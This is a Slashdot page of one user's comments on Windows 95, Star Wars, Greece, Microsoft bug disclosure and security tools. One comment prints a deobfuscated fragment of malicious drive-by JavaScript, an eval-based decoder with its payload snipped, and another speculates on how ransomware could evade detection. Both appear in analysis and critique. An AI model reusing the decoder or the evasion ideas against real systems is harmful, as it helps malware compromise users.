Catch up on stories from the past week (and beyond) at the Slashdot story archive

 



Forgot your password?
typodupeerror
DEAL: For $25 - Add A Second Phone Number To Your Smartphone for life! Use promo code SLASHDOT25. Also, Slashdot's Facebook page has a chat bot now. Message it for stories and more. Check out the new SourceForge HTML5 Internet speed test! ×

Comment Re:Stop reporting bugs? (Score 1) 92

So I re-read the article, and here is the part he journalist was referring to-

In my opinion, some people at Microsoft do not care and they just do what they want, so phrases like âoeresponsible disclosureâ will ring in my mind when the âoeresponsible patchingâ ring in their minds. To be clear: I will keep sharing my findings for as long as MSRC keeps acting like an unreachable rock star.

Okay maybe the journalist meant that the researcher won't wait 60/120 days disclosure, which is still a far cry from not reporting bugs at all.

Comment Stop reporting bugs? (Score 1) 92

there's no fix available for this issue because the researcher has decided to stop reporting bugs to Microsoft after they've ignored many of his previous reports.

I don't see the author saying this anywhere in Caballero's article. Maybe the reporter at the news site (and the submitter) should have read the article first.

For what it is worth, Caballero is a respected browser security researcher. I don't think he would do something like this.

Comment Re:An article in search of a problem (Score 1) 729

Yes. Plug and Pray- I mean Play was the biggest selling point of W95 (in addition to a 32bits kernel).

Since ISA doesn't support PnP, it went away very quickly. But even with PCI, you will have to pray that your 16 IRQs won't conflict, you have enough memory address (and the right part of addresses!), and DMA (usually not a problem.)

Comment Nice try, but with 3 potential problems (Score 3, Insightful) 102

The software detects the behavior of an application. The detection is probably like 'if a process accesses each image file (OpenFile/CreateFile) , read it, create a new file with "same_name+.encrypted", then delete the original image file.' x 10 times, then that process is likely guilty.

1. What happens if the malware instead use MapFileView and 10 others potential Win32/kernel32 APIs combination? This quickly become a arms race and is going to be terrible in terms of system overhead, not to mention the time gap between a new method appearing and the detection software catching it.

2. What about Windows' internal processes that, for example, shadow copy the file? Would the detection software catches it? What about false detection of, say, the disk defragmentation software?

3. Since the system is already compromised, what stops the malware from detecting the countermeasure and just delete all the files in the system straight out? If that's too obvious, then how about write a random byte per x bytes offset to all files? Even if you killed the malware process, you can't be sure that there no other malware running on the system that can go into revenge mode.

Comment Re:God I hate to say this, but (Score 1) 562

I want to add some on top of what you said.

Do you remember any new movie set piece in The Force Awaken?

When people talk about Star Wars, new movie set pieces immediately come to mind.

For A New Hope, it's the Star Destroyers and the Death Star.
For The Empire Strikes back, it's the snowy mountain filled with AT Walkers, then the City in the Cloud.
For The Return of the Jedi, it's more AT walkers in forest, the rebellion fleet, and the half completed Death Star.

For The Force Awaken. it's the...? The new not-Death Star? The Bridge? X-Wings? Desert/Forest/Snow/Snowy forest?

My point is, the new movie recycles all the old pieces from the original movies. As Lucas said, this is what makes this movie bland.

Comment Re:God I hate to say this, but (Score 3, Insightful) 562

>[Kylo Ren] was less of a badass, and more like a bipolar emo kid with daddy issues.

That's exactly the point.

http://io9.gizmodo.com/kylo-re...

The Star Wars movies have always featured villains who are cold, calculating and in control of their emotions. Vader, the Emperor, Dooku, Maulâ"the Sith always acted with a chilling precision. But Kylo Ren is anything but precise. Heâ(TM)s brash, raw, sullen, and just bursting with emotion. This is something we've seen before in the Expanded Universe of books and comics, but never in the movies.

Kylo Ren howls and loses his mind, whenever anything goes wrong.

Kylo Ren harbors a bitter resentment for the expectations thrust upon him in his former life as Ben Solo, Jedi-in-training and a son of legends. Even his lightsaber itself is unstable and angry, flickering with sparks and heat-just like its owner.

Comment Re:The first windows to have a TCP/IP stack. (Score 1) 284

[code]You got a couple of things wrong.

1. It did have a TCP/IP stack...along with a NetBUEI and a IPX/SPX stack. MS made sure all the well known LAN protocols are supported.

2. Windows 95 did not have QuickBASIC built in. I don't know where you got that idea from

3. The 3dfx Banshee came out on 1998, a good 3 years after Windows 95's release.

4. Windows 95 did not have Internet Explorer built in. It wasn't until Windows 95 OSR2, released in 1997, that IE 3 was in. Perhaps you are think about Windows Plus! for 95 and its IE1, which you had to purchase separately?

5. It has some form of memory protection in the form of virtual memory. Compare to Windows 3.1, the MMU and the preemptive scheduling make it the first true consumer OS to have memory protection.

6. KDE and Gnome basically copied Windows 95's gui all the way to year 2000. I am not sure why you would think that if it's not for Win95, the year of Linux on the desktop could come earlier.[/code]

Comment Re: Good for greece (Score 3, Insightful) 1307

>Eu has been very cruel to Greece and the Greek people.

In much the same way a rehab clinic is cruel to drug addicts.

Before you say that rehab clinics don't withhold living essentials (eg. food) from drug addicts, have you considered asking EU for those items, instead of asking EU to 'give us free money' (by way of forgiving loans).

I think, at this point, they would rather give you living essentials to shut the pensioners up, instead of giving them any more money.

Comment As a exploit kit researcher.... (Score 3, Interesting) 31

This tool looks very intriguing, so I gave it some malicious code for a spin (all codes are from malicious drive-by sites in the last 24 hours.)
 
 

/** @type {function (string): *} */
e = eval;
/** @type {string} */
v = "0" + "x";
/** @type {number} */
a = 0;
try {
  a *= 2;
} catch (q) {
/** @type {number} */
  a = 1;
}
if (!a) {
  try {
    document["bod" + "y"]++;
  } catch (q$$1) {
/** @type {string} */
    a2 = "_";
  }
  z = "2f_6d_*snip*"["split"](a2);
/** @type {string} */
  za = "";
/** @type {number} */
  i = 0;
  for (;i < z.length;i++) {
    za += String["fromCharCode"](e(v + z[i]) - sa);
  }
  zaz = za;
  e(zaz);
}
/**
  * @param {string} n
  * @param {string} k
  * @param {number} v
  * @param {string} reason
  * @return {undefined}
  */
function SetCookie(n, k, v, reason) {
/** @type {Date} */
  var defaultCenturyStart = new Date;
/** @type {Date} */
  var expiryDate = new Date;

Sort of useful, I guess. But ultimately not an essential feature for malicious javascript analysis. I think the tool would be more useful to legitmate JS reverse-engineering tasks as their obfuscated JS are much much bigger.

Submission + - Facebook analysis shows that Princeton's dismiss is imminent

guardiangod writes: In a cheeky response to Princeton's article that Facebook is dying, Facebook in house researchers published an research article of what most of us has suspected- Princeton's frame and admission rate is dying, and the researchers verified this by using the Princeton researchers' plague mathematical model.

Like many of you, we were intrigued by a recent article by Princeton researchers predicting the imminent demise of Facebook. Of particular interest was the innovative use of Google search data to predict engagement trends, instead of studying the actual engagement trends. Using the same robust methodology featured in the paper, we attempted to find out more about this "Princeton University" — and you won't believe what we found! In keeping with the scientific principle "correlation equals causation," our research unequivocally demonstrated that Princeton may be in danger of disappearing entirely.

Comment Re:Different approaches to aid (Score 1) 196

Maybe, but from what I've heard, Africans much prefer western aids.
 
Westerners just drop their pile of money on the Africans' door and tell the Africans to save themselves with it.
 
Chinese on the other hand distributes/build the aids themselves with lots of strings attach (nothing evil, mind you, just enough to make sure that both the Chinese and Africians get their money's worth.)
 
To the Africans, they see Chinese' policy as an intrusion.

Slashdot Top Deals

Honesty is for the most part less profitable than dishonesty. -- Plato

Working...